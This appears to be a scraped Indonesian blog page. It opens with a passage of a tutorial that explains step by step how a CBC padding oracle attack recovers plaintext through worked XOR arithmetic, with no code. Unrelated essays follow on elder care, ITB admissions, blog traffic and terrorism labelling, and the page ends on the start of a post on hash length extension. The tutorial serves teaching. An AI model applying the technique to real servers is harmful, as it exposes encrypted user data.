Pada varian kedua, byte terakhir blok ciphertext pertama dinaikkan menjadi 01, namun jawaban ‘the oracle’ masih sama, yaitu ‘invalid padding’ yang artinya hasil dekripsinya pasti bukan diakhiri dengan byte 01. Kali ini kita mengajukan pertanyaan ‘Apakah A XOR 01 = 01 ?’, ternyata jawabannya masih ‘tidak’.

Pada varian ketiga, byte terakhir blok ciphertext pertama dinaikkan lagi menjadi 02, namun masih juga jawaban dari ‘the oracle’ adalah ‘invalid padding’. Dalam request ini kita mengajukan pertanyaan ‘Apakah A XOR 02 = 01 ?’, sayangnya jawabannya masih juga ‘tidak’.

Client harus terus mencoba menaikkan byte terakhir blok ciphertext pertama dari 00-FF karena di antara 00-FF pasti ada satu byte yang menghasilkan status padding valid. Gambar di bawah ini lanjutan dari proses brute force di atas sampai akhirnya client menemukan bahwa byte terakhir 0×87 akan membuat status padding menjadi valid.

Screen Shot 2013-03-14 at 11.01.57 PM

Hore, setelah mencoba dari byte 00, akhirnya pada request ke 88, didapatkan bahwa byte terakhir 87 menghasilkan respons valid padding. Kali ini kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 87 = 01 ?’.

Setelah dapat valid padding, so what ? Sebenarnya ada sesuatu yang cetar membahana disini, mari kita lihat lebih detil lagi byte per byte apa yang terjadi (Byte yang berisi ‘??’ artinya tidak diketahui isinya oleh client).

Screen Shot 2013-03-14 at 11.21.55 PM

Gambar di atas penting sekali untuk memahami padding oracle attack. Kita lihat kembali apa yang terjadi.

  1. Client mengirimkan 2 blok ciphertext dengan byte terakhir blok pertama bernilai 0×87
  2. Server mendekrip ciphertext dari client
  3. Setelah didekrip ternyata byte terakhirnya bernilai 01 (padding valid)
  4. Client mendeteksi response dari server bahwa padding valid
  5. Karena padding valid, client menduga (dan yakin) bahwa byte terakhir hasil dekripsi ciphertext yang dia kirim adalah 01

Okey, so far client hanya mengetahui byte 0×87 dan byte 0×01, apa yang bisa didapatkan dari itu ? Jawabannya ada pada gambar di atas, kita sebut saja byte yang berwarna hijau sebagai A.

Dari persamaan sebelumnya ‘the oracle’ sudah menjawab ‘Ya’ untuk pertanyaan: Apakah A XOR 0×87 = 0×01. Tadinya persamaan ini punya 2 variabel yang tidak diketahui, sekarang tinggal satu, artinya persamaan ini bisa diselesaikan. Lalu berapakah A ?

Jawabannya mudah, A adalah 0×87 ? 0×01 = 0×86. Hore! Dengan mendeteksi response padding valid/tidak dari server, kini client bisa mengetahui A adalah 0×86, tapi tunggu dulu, A itu apa ? Jawabannya ada juga pada gambar di atas.

Pada gambar di atas jelas, A yang berwarna hijau adalah byte terakhir dari Decrypt(C2). Tapi jangan keburu senang dulu, ingat bahwa Decrypt(C2) bukan P2, masih ada satu langkah lagi untuk menjadi P2, masih harus di-XOR dulu dengan C1 untuk menghasilkan P2.

Karena byte terakhir C1 adalah 0×85 sehingga kita bisa dapatkan byte terakhir P2 adalah 0×86 XOR 0×85 = 0×03

Screen Shot 2013-03-14 at 11.27.01 PM

Mendapatkan byte ke-7 P2

Setelah berhasil mendapatkan byte terakhir P2 berikutnya adalah mendekrip 1 byte sebelum byte terakhir.

Caranya mirip dengan sebelumnya, yaitu dengan membuat agar padding hasil dekripsi ciphertext yang dikirim client, menjadi valid. Namun sedikit berbeda dengan sebelumnya, kali ini kondisi padding valid yang diinginkan adalah berakhiran dengan byte 02-02. Situasinya terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.26.50 AM

Kenapa byte terakhir blok ciphertext pertama sudah kita tetapkan berisi 0×84 ? Pada gambar di atas sudah jelas, bahwa 0×86 XOR sesuatu = 0×02, maka sesuatu itu adalah 0×84, simple math :).

Sekarang tinggal byte sebelum terakhir yang masih belum tahu harus diisi berapa agar menghasilkan 0×02 sebab ada dua tanda tanya disitu, jadi kalau ditulis persamaannya: A XOR B = 02, berapakah A dan B ?

Satu persamaan dengan dua variabel yang tidak diketahui mestinya tidak bisa diselesaikan. Cara mencari A dan B sama dengan sebelumnya, kita akan menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan itu dalam bentuk brute force berikut:

  1. Apakah A XOR 00 = 02 ?
  2. Apakah A XOR 01 = 02 ?
  3. Apakah A XOR 02 = 02 ?
  4. Apakah A XOR 03 = 02 ?
  5. Apakah A XOR 04 = 02 ?
  6. Apakah A XOR 05 = 02 ? dst

Sekali lagi, brute force yang kita lakukan dengan mengirim banyak varian ciphertext pada dasarnya menginterogasi ‘the oracle’ untuk membantu memecahkan persamaan di atas. Jika ‘the oracle’ merespons dengan status ‘invalid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘tidak’, artinya harus mencoba dengan pertanyaan berikutnya. Bila ‘the oracle’ merespons dengan status ‘valid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘ya’.

Gambar di bawah ini adalah gambaran proses brute force yang dilakukan.

Screen Shot 2013-03-15 at 12.11.47 AM

Setelah dibrute force mulai dari 00, status padding valid didapatkan ketika 2 byte terakhir bernilai 0A-84. Kembali lagi ke persamaan di atas, jawaban status padding valid ini sama artinya dengan jawaban ‘ya’ untuk pertanyaan ‘Apakah A XOR 0A = 02 ?’ sehingga A bisa dihitung dengan mudah, yaitu 0A XOR 02 = 08. Situasinya kini menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 12.17.17 AM

Isi byte ke-7 dari P2 sekarang sudah bisa dihitung yaitu 08 XOR 0B (0B adalah byte ke-7 C1 yang asli) = 03.

Screen Shot 2013-03-15 at 12.21.43 AM

Mendapatkan byte ke-6 P2

Kali ini client harus mengirim dua blok ciphertext sedemikian sehingga ketika didekrip di server, hasilnya adalah P2 dengan 3 byte terakhir berisi 03-03-03. Situasinya kini adalah seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.37.56 AM

Pada gambar di atas, dua byte terakhir ciphertext blok pertama diisi dengan 0B-85 untuk memastikan ketika diXOR menghasilkan 2 byte terakhir P2 03-03. Sekarang byte ke-6 yang harus dicari dengan cara brute force, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 03. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.49.32 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR A9 = 03′ sehingga bisa dihitung A adalah 0xAA. Byte ke-6 P2 yang sesungguhnya adalah 0xAA XOR 0xA9 (A9 adalah byte ke-6 C1 yang asli) = 0×03. Situasinya sekarang menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.56.27 AM

Sejauh ini kita sudah berhasil mendapatkan 3 byte terakhir dari hasil dekripsi C2, yaitu 03-03-03.

Mendapatkan byte ke-5 P2

Mendapatkan byte ke-5 juga dilakukan dengan mengirimkan dua blok cipher sedemikian hingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 04-04-04-04. Situasinya seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 7.08.10 AM

Tiga byte terakhir blok pertama ciphertext berisi AE-0C-82 untuk memastikan bahwa ketika diXOR menghasilkan 3 byte terakhir P2 04-04-04, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 04. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 7.14.33 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 0E = 04′ sehingga kita bisa hitung A yaitu 0A. Setelah mendapatkan 0A, kita bisa hitung byte ke-5 P2 yang asli, yaitu 0A XOR 47 = 4D. Sejauh ini yang sudah kita dapatkan tergambar di bawah ini.

Screen Shot 2013-03-15 at 7.19.14 AM

Mendapatkan byte ke-4 P2

Mendapatkan byte ke-4 dilakukan dengan mengirimkan dua blok ciphertext sedemikian sehingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 05-05-05-05-05. Gambar di bawah ini menggambarkan situasinya.

Screen Shot 2013-03-15 at 7.27.22 AM

Dengan cara brute force yang sama dengan sebelumnya, diketahui bahwa bila byte ke-4 blok pertama ciphertext berisi 0xBD, response dari server adalah padding valid.

Screen Shot 2013-03-15 at 7.39.23 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR BD = 05′ sehingga A bisa dihitung yaitu BD XOR 05 = B8 dan byte ke-4 P2 menjadi B8 XOR F4 = 4C. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 7.31.27 AM

3 Lagi!

Tinggal 3 byte lagi yang belum. Mari kita lanjutkan. Mendapatkan byte ke-3 P2 dilakukan dengan mengirim 2 blok ciphertext yang membuat 6 byte terakhir P2 menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.49.39 AM

Kita harus membrute force byte ke 3 dari C1 (‘??’ berwarna biru cyan) sampai mendapatkan response dari ‘the oracle’ bahwa padding valid. Ketika mendapatkan padding valid, client bisa yakin bahwa byte ke-3 P2 bernilai 06, sehingga 6 byte terakhir menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.54.28 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 1D = 06? sehingga A bisa dihitung yaitu 1D XOR 06 = 1B dan byte ke-3 P2 menjadi 1B XOR 50 = 4B. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.29.30 AM

2 Lagi!

Tinggal 2 lagi, ayo sedikit lagi nih! Sekarang client harus mengirim dua blok ciphertext yang membuat P2 menjadi 07-07-07-07-07-07-07.

Screen Shot 2013-03-15 at 8.36.11 AM

Berikut adalah proses brute force untuk mencari byte yang menghasilkan valid padding.

Screen Shot 2013-03-15 at 8.41.54 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 35 = 07? sehingga A bisa dihitung yaitu 35 XOR 07 = 32 dan byte ke-3 P2 menjadi 32 XOR 78 = 4A. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.45.04 AM
Terakhir!

Sekarang tiba saatnya kita mencari byte pertama dari P2.

Screen Shot 2013-03-13 at 2.10.29 PM

Gambar berikut adalah proses brute force untuk mendapatkan valid padding.

Screen Shot 2013-03-13 at 2.20.57 PM

Dengan mendapatkan byte yang menyebabkan valid padding adalah 6C, artinya kita mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 6C = 08′ sehingga A bisa dihitung: 6C XOR 08 = 64. Setelah itu kita bisa menghitung byte pertama P2, yaitu 64 XOR 2D (byte pertama C1 yang asli) = 0×49.

C2 Decrypted!

Jadi kita sekarang sudah berhasil mendekrip C2 (’123B36A038A8682F’) mejadi ‘IJKLM’+03+03+03 dimulai dari byte terakhir sampai byte pertama tanpa mengetahui kunci dan algoritma apa yang dipakai.

Screen Shot 2013-03-13 at 2.31.08 PM

Hebatnya lagi dekripsi ini dilakukan sama sekali tidak menggunakan teknik komputasi kompleks tingkat tinggi (permutasi, S-BOX tidak dibutuhkan sama sekali), hanya XOR disana XOR disini, datapun berhasil didekrip. Kok bisa begitu ? Hal ini bisa terjadi karena yang melakukan dekripsi adalah server, serverlah yang akan melakukan komputasi kompleks untuk mendekrip ciphertext, attacker di luar tinggal mengamati respons dari server sebagai ‘the oracle’.

Jadi sehebat apapun algoritma enkripsinya, bila memakai mode CBC dan memberikan respons pada client apakah padding valid atau tidak valid, akan vulnerable, walaupun algoritma enkripsinya sendiri sebenarnya tidak vulnerable. Serangan oracle padding attack ini bukan menyerang algoritma enkripsi seperti DES/AES, serangan ini menyerang mode operasi CBC.

Decrypt C1

Setelah C2 berhasil didekrip, bagaimana cara mendekrip C1 (’2D7850F447A90B87′) ?

Sama seperti mendekrip C2, cara untuk mendekrip C1 adalah dengan membentuk dua blok ciphertext berikut:

  1. Blok custom yang dibuat attacker
  2. Blok C1 (’2D7850F447A90B87’) sebagai target yang akan didekrip

Kemudian dua blok tersebut digabung (concat) dan dikirim ke server. Selanjutnya caranya sama dengan sebelumnya. Berikut adalah gambaran situasi ketika mencari byte terakhir dari dekripsi C1. Sama seperti sebelumnya, blok pertama berisi null byte kecuali byte terakhir yang akan dibrute force, blok kedua berisi 2D-78-50-F4-47-A9-0B-87 yang akan didekrip.

Screen Shot 2013-03-15 at 9.04.37 AM

Disini kita mulai dari awal lagi, berangkat dari byte terakhir sampai byte pertama. Kita harus menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan ‘A XOR B = 01′ berapakah A dan B ? Berikut adalah proses brute force untuk mencari byte terakhir yang membuat valid padding.

Screen Shot 2013-03-15 at 9.26.34 AM

Setelah mendapatkan status valid padding artinya kita telah mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 41 = 01′ sehingga kita bisa menghitung A adalah 0×40.

Ingat untuk mendekrip suatu blok, kita membutuhkan blok ciphertext sebelumnya. Sebelumnya ketika kita mendekrip C2 kita meng-XOR-kan hasil Decrypt(C2) dengan C1, sekarang karena kita sedang mendekrip C1, maka kita membutuhkan ciphertext blok sebelumnya juga, yaitu C0 atau Initialization Vector (IV). Dalam contoh ini IV yang dipakai adalah deretan byte 01-02-03-04-05-06-07-08.

Byte yang sudah kita dapatkan adalah 0×40 harus kita XOR dulu dengan byte terakhir IV 0×08 untuk mendapatkan plaintext byte terakhir, yaitu 0×40 XOR 0×08 = 0×48.

Screen Shot 2013-03-15 at 9.37.52 AM

Kita telah mendapatkan byte terakhir dari hasil dekripsi C1, proses ini bisa terus dilanjutkan untuk mendapatkan byte-byte lain sebelum byte terakhir dengan cara yang sama dengan yang sebelumnya.

Written by Rizki Wicaksono

March 13th, 2013 at 2:44 pm

Posted in Cryptography

“Ujian” dari Orangtua pada Saat Akhir Hayat

without comments

Saudara sekampung saya mempunyai ibu yang sudah lumpuh. Penyakit stroke yang menyerangnya membuat sang ibu sudah tidak berdaya lagi. Setiap hari ibunya hanya tergolek di atas kasur. Makan, mandi, ganti baju, pipis, dan BAB semua di atas kasur. Ibunya persis seperti dalam keadaan bayi kembali. Kehidupan ibunda sangat bergantung pada perhatian anaknya. Anak-anaknya yang sudah besar dan sudah berkeluarga tinggal di Jawa, mereka sekali seminggu datang bergantian ke Padang untuk merawat ibunya.

Alhamdulillah, mereka masih sabar merawat ibunya. Mereka harus setiap hari memandikan orantuanya, membersihkan kotorannya, menyuapinya makan, dan menjemurnya pada matahari pagi. Semua pekerjaan itu dilakukan setiap hari dan sudah bertahun-tahun, namun ibunya masih tetap diberi umur panjang sampai kini. Saya bisa membayangkan andaikata anak-anaknya tidak sabar, mungkin di dalam hati mereka pernah terbersit rasa kesal, bosan, menggerutu, dan sebagainya, atau yang paling ekstrim mungkin setan pernah membisikkan kenapa tidak berharap ibunya cepat mati supaya tidak terbebani lagi (hii, kejam ya). Mudah-mudahan saja mereka tetap diberi kesabaran, amiin.

Saya punya beberapa teman dengan kondisi orangtua stroke seperti di atas, atau punya orangtua yang sudah sangat tua renta dan pikun sehingga perangainya kembali seperti anak-anak (cerewet, sensitif sehingga mudah tersinggung, banyak maunya, dan sifat-sifat yang menjengkelkan). Ada teman yang saya nilai masih bisa bersabar menghadapi oranguanya, tetapi sekali dua saya pernah pernah mendengar gerutuan dan kekesalan yang diceritakan seorang teman terkait perangai orangtua mereka, atau keluhannya yang merasa sudah tidak sanggup merawat orangtuanya yang seperti bayi.

Saya menganggap bahwa semua kejadian di atas adalah ujian dari Allah SWT kepada seorang anak. Dengan kondisi orangtua yang sudah tidak berdaya, tua renta dan sakit-sakitan, Allah ingin menguji iman seorang anak sampai sejauh mana dia tetap sabar, sampai sejauh mana dia bisa menunjukkan bakti kepada orangtua di akhir hayatnya. Allah SWT ingin menguji apakah betul anda adalah anak yang sholeh, apakah kesholehan itu hanya sekadar slogan semata? Relakah anak mengurusi kotoran orangtuanya di atas kasur, sebagaimana dulu orangtuanya tidak pernah mengeluh membereskan kotoran anaknya ketika masih bayi? Allah SWT ingin melihat bukti kalau benar anda adalah anak yang berbakti.

Merawat orangtua pada saat akhir hayatnya adalah perbuatan yang mulia, sebab bernilai ibadah yang besar sekali pahalanya.
Sepupu saya pernah bercerita betapa dia masih belum puas mengurus ibunya yang sakit dan tergolek di atas kasur selama berbulan-bulan sebelum akhirnya meninggal. Sengaja dia meninggalkan keluarganya selama beberapa bulan, pergi ke kampung untuk merawat ibunya. Dia mandikan, dia suapi makan, dia bersihkan kotorannya. Semua itu dilakukannya tanpa merasa keluh kesah, dengan senang hati dia lakukan yang terbaik untuk ibunya pada saat akhir hayatnya. Setelah ibunya wafat, dia masih merasa belum merasa cukup untuk berbakti, masih belum puas, kalau bisa masih lama lagi merawatnya, tetapi Tuhan lebih tahu yang terbaik untuk ibunya dan anaknya.

Begitu jua cerita seorang teman saya yang saya kenal sejak SMP. Dia punya karir bagus di Amerika, otaknya cemerlang, tapi dia belum berkeluarga. Ketika mendengar ayahnya sakit karena stroke, dia resign dari tempat kerjanya di Amerika, dia pulang ke Indonesia dengan satu niat: merawat ayahnya yang sakit. Selama tiga tahun dia memulai usaha di Jakarta sambil merawat ayahnya. Dia sengaja menunda menikah karena tidak ingin terganggu konsentrasinya untuk merawat ayahnya. Sampai ayahnya wafat, dia merasa sangat puas karena sudah menunjukkan baktinya yang terakhir dengan merawat ayahnya. Setelah ayahnya wafat, barulah dia menikah.

Begitulah cinta kita sebagai anak kepada orangtuanya. Sayangnya saya tidak mengalami kejadian-kejadian yang dialami teman dan sepupu saya di atas. Kematian kedua orangtua saya begitu dimudahkan oleh Allah SWT. Ibu saya ketika sudah tua pernah meminta keinginan kepada Tuhan agar kelak kalau dirinya mati tidak dalam keadaan merepotkan anak-anaknya, dia ingin meninggal begitu saja di atas kasur tanpa sakit berbulan-bulan atau bertahun-tahun. Ibu saya tampaknya paham setelah melihat kondisi saudara kami sekampung yang saya ceritakan pada bagian awal tulisan. Dia tidak ingin bernasib seperti saudara sekampung kami itu. Rupanya Tuhan mengabulkan keinginan ibu saya, dia meninggal tiba-tiba saja di rumah tanpa sebab sakit atau suatu apa. Mudah-mudahan arwah almarhmah ibunda diberi tempat yang layak di sisi-Nya dan dimasukkan ke dalam syurga, Amiin.

Sementara ayah saya lebih dulu wafat sebelum ibu, yaitu enam tahun sebelumnya. Ayah saya meninggal karena sakit kanker usus, tetapi baru ketahuan pada tahun terakhir kematiannya. Memang ayah saya bolak-balik ke rumah sakit untuk kontrol, dan pada saat sakitnya sudah akut, dia dirawat di rumah sakit. Hanya seminggu di rumah sakit, dan setelah itu dia pergi untuk selama-lamanya. Mudah-mudahan arwah almarhmah ayahanda saya diberi tempat yang layak di sisi-Nya dan dimasukkan ke dalam syurga, Amiin.

Begitulah renunganku hari ini. Bakti kita kepada orangtua diminta bukti oleh Allah SWT melalui serangkaian ujian yang diberikan-Nya disaat hari tua orangtua kita. Mudah-mudahan kita smeua termasuk anak-anak yang sholeh, amiin.


Written by rinaldimunir

March 10th, 2013 at 10:13 am

Posted in Renunganku

Kenapa Jalur Undangan di ITB Lebih Banyak Porsinya daripada Jalur Ujian Tulis?

without comments

Sudah tiga kali penerimaan mahasiswa baru di ITB (termasuk tahun 2013 sekarang), ITB selalu mengambil porsi mahasiswa yang diterima dari jalur undangan lebih banyak daripada jalur ujian tulis. Porsi jalur undangan adalah 60% dan porsi jalur ujian tulis adalah 40%. ITB bahkan menghapuskan seleksi dari jalur ujian mandiri (dulu namanya USM). Jadi, jika jumlah mahasiswa baru 4000 orang, maka jalur undangan adalah 2400 orang, sisanya dari jalur ujian tulis sebanyak 1600 orang. Tahun ini jalur ujian tulis bernama SBMPTN (Seleksi Bersama Masuk Perguruan Tinggi Negeri). Setahu saya tidak banyak perguruan tinggi negeri yang mengambil porsi 60 : 40. Beberapa PTN tetap mengadakan seleksi jalur lain seperti jalur mandiri, jalur bersama, dan sebagainya.

Sebagaimana yang sering saya ungkapkan dalam beberapa tulisan sebelumnya tentang penerimaan mahasiswa baru, secara pribadi saya lebih menyukai seleksi mahasiswa baru melalui jalur ujian tulis. Dengan kualitas SMA/SMK yang beraneka ragam di tanah air, dan tingkat kepercayaan masyarakat yang rendah terhadap nilai-nilai di dalam rapor (misalnya mencurigai adanya rekayasa nilai oleh oknum guru atau sekolah), maka seleksi melalui jalur ujian tulis memberikan kesempatan yang sama dan adil bagi semua siswa SMA dari berbagai tingkatan kualitas hingga pelosok daerah di tanah air.

Saya pernah menulis tentang perbandingan prestasi mahasiswa ITB angkatan 2011 dari jalur ujian undangan dan jalur ujian tulis. Rata-rata nilai IP tingkat pertama mahasiswa jalur undangan sedikit lebih baik daripada rata-rata IP mahasiswa jalur ujian tulis. Ini artinya tidak ada perbedaan kualitas yang signifikan antara mahasiswa jalur undangan dan jalur ujian tulis di ITB. Dengan kata lain, dijaring dengan cara apapun, mahasiswa baru ITB sama bagusnya. Khusus di ITB, mahasiswa jalur undangan tidaklah seburuk yang disangkakan orang. Kalau memang banyak mahasiswa jalur undangan itu adalah hasil rekayasa rapor, tentu mereka akan gagal kuliah di ITB yang terkenal sangat ketat. Jadi, saya pikir kampus saya sudah on the track dalam menerima mahasiswa baru selama ini.

Memang ITB tidak pernah mengeluarkan pernyataan resmi mengapa lebih memilih jalur undangan dalam porsi yang lebih besar daripada jalur ujian tulis. Beberapa waktu yang lalu saya bertemu dengan pejabat kampus, saya menanyakan kepadanya mengapa kampus kita menyediakan porsi jalur undangan jauh lebih besar daripada porsi ujian tulis, apakah tidak sebaiknya dibalik yaitu jalur ujian tulis lebih besar daripada jalur undangan. Pejabat itu memberikan pendapatnya, bahwa ujian tulis itu kan seleksi sesaat (hanya dua hari) sehingga hasilnya tidak menggambarkan potensi akademik seorang calon mahasiswa, sedangkan seleksi berdasarkan nilai rapor lebih komprehensif sebab rapor menceritakan rekam jejak akademik seorang calon mahasiswa selama tiga tahun. Hmmm…meskipun itu pendapat pribadinya (bukan pendapat institusi) saya mulai lebih paham mengapa ITB lebih memprioritaskan penerimaan mahasiswa baru dari jalur undangan.

Saya yakin ITB pasti mempunyai kriteria calon mahasiswa seperti apa yang bisa diterima, lalu kriteria sekolah seperti apa yang memenuhi persyaratan. Sekolah yang terbukti melakukan kecurangan dalam memberikan nilai rapor cepat atau lambat pasti akan ketahuan. Salah satu indikasinya adalah mahasiswa tersebut mampu apa tidak kuliah pada tahun pertama di ITB. Kalau dia siswa karbitan di sekolahnya, pasti dia akan gagal di ITB. ITB pasti akan memberikan “hukuman” kepada sekolah yang terbukti nakal dengan mem-black-list-nya pada seleksi tahun berikutnya. Jadi, jangan main-main dalam urusan nilai rapor.

Ada baiknya juga kalau kita mulai menaruh kepercayaan kepada sistem pendidikan di SMA. Kalau kita tidak pernah bisa percaya, lalu siapa lagi yang percaya kepada sekolah? Saya yakin kondisi pendidikan SMA/SMK di tanah air kan tidak selalu statis, selalu berubah ke arah yang lebih baik. Sekarang ada yang namanya akreditasi sekolah yang mengklasifikasikan sekolah dengan akreditsi A, B, dan C, plus yang belum terakreditasi. Akreditasi itu berarti kepercayaan yang diberikan Pemerintah kepada sekolah. Secara moral, tingkat akreditasi itu juga menunjukkan integritas sekolah dalam menjaga kualitas pendidikan di institusinya, termasuk tentang nilai rapor yang sering dicurigai sebagai hasil rekayasa. Sekolah yang terbukti melakukan rekayasa nilai, cepat atau lambat pasti akan ketahuan, dan akreditasinya bisa saja diturunkan. Yang dirugikan tentu siswa dan sekolah itu sendiri, termasuk dalam seleksi penerimaan mahasiswa baru melalui jalur undangan. Jadi, sekolah tidak boleh main-main dalam menjaga integritas dan kepercayaan PTN kepada siswa sekolahnya dalam seleksi jalur undangan.


Written by rinaldimunir

March 8th, 2013 at 4:59 am

Menanti Kunjungan ke-2.000.000

without comments

Tadi pagi ketika membuka blog ini saya merasa agak surprise, pasalnya jumlah kunjungan ke blog saya yang sederhana ini sudah mencapai 1.954.000 lebih (statistik hari ini). Mungkin dalam waktu hitungan beberapa hari lagi jumlah kunjungan akan mencapai dua juta kali. Wah, cepat juga pertambahannya, padahal bulan Februari tahun 2012 pengunjung blog “baru” mencapai satu juta kali kunjungan (Baca: Menanti Kunjungan ke-1.000.000). Itu berarti dalam rentang waktu satu tahun bertambah satu juta kunjungan dan akan mencapai dua juta kunjungan pada bulan Maret ini (perkiraan).

Terus terang saja, saya menulis catatan ini bukan untuk menargetkan jumlah pengunjung sebanyak-banyaknya. Mau orang datang membaca atau tidak, saya tidak peduli. Tujuan saya sejatinya adalah untuk mendokumentasikan pikiran-pikiran saya, pengalaman, renungan, hikmah, dan lain-lain, agar kelak dapat saya baca lagi sebagai sebuah catatan perjalanan kehidupan. Selanjutnya, sebagai konsekuensi media sosial yang dapat dibaca siapapun, saya juga ingin berbagi catatan perjalanan hidup itu kepada orang lain, mudah-mudahan bermanfaat. Kalau ada pembaca merasa terinspirasi dari tulisan-tulisan di blog ini, alhamdulillah. Sharing is caring, berbagi itu artinya peduli.

Tidak semua tulisan di blog ini merupakan tulisan saya sendiri. Beberapa tulisan dan kutipan yang anda baca saya peroleh dari sumber lain, seperti email dan milis, blog sesama blogger, portal berita, media daring, dan lain-lain. Karena niat untuk berbagi, maka saya masukkan ke dalam blog agar dapat menjadi inspirasi dan hikmah bagi orang lain. Jadi, saya tidak mengklaim blog saya sebagai blog orisinal karena memang tidak meniatkannya menjadi blog murni seratus persen berisi tulisan sendiri.

Mudah-mudahan apa yang saya tuliskan di dalam blog Catatanku ini dapat memberi sedikit makna bagi orang lain yang kebetulan “kesasar” masuk ke dalamnya. Amiin.


Written by rinaldimunir

March 6th, 2013 at 11:35 am

Posted in Gado-gado

Antara Teroris dan Separatis

without comments

Delapan orang anggota TNI tewas ditembak kelompok bersenjata di Papua pada bulan Februari yang lalu. Demikian kabar keprihatinan yang menjadi berita utama media di tanah air. Kelompok bersenjata itu diidentifikasi sebagai bagian dari kelompok separatis Papua. Hingga saat ini pelaku penembakan belum berhasil ditangkap oleh aparat kepolisian maupun TNI. Sungguh sedih kita mendengarnya, terbayang istri yang ditinggal suami, orangtua yang ditinggal anak, atau calon istri ditinggal calon suami. Mudah-mudahan Allah SWT menempatkan korban TNI itu pada tempat yang mulia di sisi-Nya, Amiin.

Anehnya, Pemerintah, kepolisian, termasuk media tidak pernah menyebut pelaku penembakan tersebut sebagai teroris, tetapi sebagai gerakan separatis. Padahal, mereka telah membunuh banyak jiwa dan menciptakan suasana takut.

Sekarang mari kita lihat kasus sebelumnya. Sekelompok orang bersenjata di Poso berhasil membunuh beberapa orang polisi, termasuk anggota Densus 88. Dengan cepat kepolisian dan media mencap pelaku sebagai teroris. Mereka diidentifikasi sebagai jaringan terorisme, demikian ungkap media.

Saya tidak habis mengerti, mengapa kelompok bersenjata di Papua tidak disebut teroris, tetapi kelompok bersenjata di Poso langsung dicap sebagai teroris. Apa beda perbuatan keduanya?

Mari kita baca definisi terorisme di Wikipedia edisi Bahasa Indonesia:

Terorisme adalah serangan-serangan terkoordinasi yang bertujuan membangkitkan perasaan teror terhadap sekelompok masyarakat. Berbeda dengan perang, aksi terorisme tidak tunduk pada tatacara peperangan seperti waktu pelaksanaan yang selalu tiba-tiba dan target korban jiwa yang acak serta seringkali merupakan warga sipil. (Sumber: Wikipedia)

Menurut definisi terorisme di atas, jelaslah serangan kelompok separatis terhadap anggota TNI itu terkordinasi dan sistemik, sama seperti yang dilakukan oleh pelaku teroris lain umumnya. Maka, pelabelan teroris kepada kelompok separatis bersenjata adalah sesuatu yang seharusnya.

Selama ini pelabelan terorisme sering dilekatkan kepada kelompok Islam. Pelaku terorisme seringkali mengatasnamakan agama Islam sebagai landasan perjuangan mereka. Mereka menggunakan simbol-simbol agama seperti kopiah, sorban, janggut, jilbab, dan sebagainya. Karena perbuatan mereka maka citra Islam menjadi rusak, seolah-olah Islam membenarkan terorisme. Akibat stigma yang negatif, maka target perburuan Densus 88 sering diarahkan kepada ustad, ulama, santri, dan kelompok Islam lainnya.

Dunia memang sering tidak adil. Definisi terorisme bergantung pada siapa yang menggunakannya dan apa kepentingannya. Amerika dan sekutunya akan langsung menyebut serangan kelompok Hamas kepada penduduk Israel sebagai terorisme, tetapi pembunuhan yang dilakukan tentara Israel terhadap rakyat Palestina tidak disebut terorisme melainkan pembelaan diri.

Secara sederhana, jika yang melakukan serangan dan pembunuhan terencana adalah orang yang kebetulan beragama Islam dan korbannya dari agama lain maka dia akan langsung dicap teroris. Sebaliknya, jika yang melakukannya adalah orang yang bukan beragam Islam, maka dia tidak dicap teroris, tetapi pelaku kriminal, orang yang sedang depresi, orang sakit jiwa, dan sebagainya. Tahun lalu seorang remaja Amerika Serikat menembak mati puluhan siswa di sekolah dasar sebelum akhirnya dia membunuh dirinya sendiri. Media dan Pemerintah Federal AS tidak pernah menyebut remaja itu sebagai teroris tetapi remaja yang mengalami gangguan jiwa. Akan berbeda ceritanya jika pelaku penembakan itu adalah seorang beretnis Arab, berjanggut, pakai surban lagi, maka saya yakin media ramai-ramai menyebutnya teroris lalu dikaitk-kaitkan dengan agamanya.

Oleh karena itu, perlu suatu keadilan dalam bertindak kepada kelompok yang menciptakan suasana teror. Baik teroris maupun separatis yang membunuh secara terkordinasi, keduanya adalah tindak kekerasan yang melanggar HAM.


Written by rinaldimunir

March 5th, 2013 at 2:58 pm

Posted in Indonesiaku

Mengeksploitasi Hash Length Extension Vulnerability

without comments

Dalam tulisan kali ini saya akan membahas tentang hash length extension attack, bagaimana cara eksploitasinya dan bagaimana cara agar program yang kita buat tidak bisa dieksploitasi dengan teknik serangan ini.
